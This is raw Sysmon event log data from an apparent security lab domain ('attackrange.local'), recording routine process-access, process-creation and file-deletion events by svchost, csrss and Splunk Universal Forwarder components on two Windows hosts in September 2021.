14:46:20.674{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:20.674{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:20.674{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:20.674{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:20.674{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6FBC-613B-EF0A-00000000F001}5348C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:20.674{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6FBC-613B-EF0A-00000000F001}5348C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:20.675{7BD73061-6FBC-613B-EF0A-00000000F001}5348C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000046060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:20.237{7BD73061-6FBC-613B-EE0A-00000000F001}10165160C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000046059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:20.018{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6A249BCB2E6A2583FDD14F4893FB3C6B,SHA256=B2280D3B28C4684236BCD308C26509308CDD4840B66D12F347DFA4F28F979786,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:20.018{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6FBC-613B-EE0A-00000000F001}1016C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:20.003{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:20.003{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:20.003{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:20.003{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:20.003{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6FBC-613B-EE0A-00000000F001}1016C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:20.003{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6FBC-613B-EE0A-00000000F001}1016C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:20.004{7BD73061-6FBC-613B-EE0A-00000000F001}1016C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014176Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:21.888{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2EB28C48E2FD1F70199024E37B3AD0D6,SHA256=1AD16101BDD62F28F6C0FCD284658E4B7AC6543C88CEBFBBB2024B0D2B911FCF,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:21.846{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6FBD-613B-F00A-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:21.846{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:21.846{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:21.846{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:21.846{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:21.846{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6FBD-613B-F00A-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:21.846{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6FBD-613B-F00A-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:21.847{7BD73061-6FBD-613B-F00A-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000046071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:21.018{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=156186447602036C53FDACC20D400D07,SHA256=1D69DCD15D6F584FB9314DEEA433A7920C1E0BE0F880AF2615FFBF4D3E223DDB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:21.003{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=076029D456D9B411E373B12A9F74742C,SHA256=634BD3780A9CE5187F4CF62C85F79509D5E2CF056F6C62D811F7BD0CF25C69D4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014177Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:22.919{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4B723AEB9D7C145A4D9A787B05436944,SHA256=C253FE2A32F36F77368B06256D1DF91AAC0944FF6BEC590DF2C3172335E3D147,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:22.565{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=461F5C2B95A3C615D0EA20546E6248FE,SHA256=F8867609EACD0AF7734A0053D26061050193155A4E1EF6F82653CFB986166D8B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:22.565{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=3E6E733FBF6E97BBF99C3E9F959CA564,SHA256=D84FD1F0B48375EF39ED1ED9E2705135FB027BC2C06327F863536DBFEEAE5436,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:22.034{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 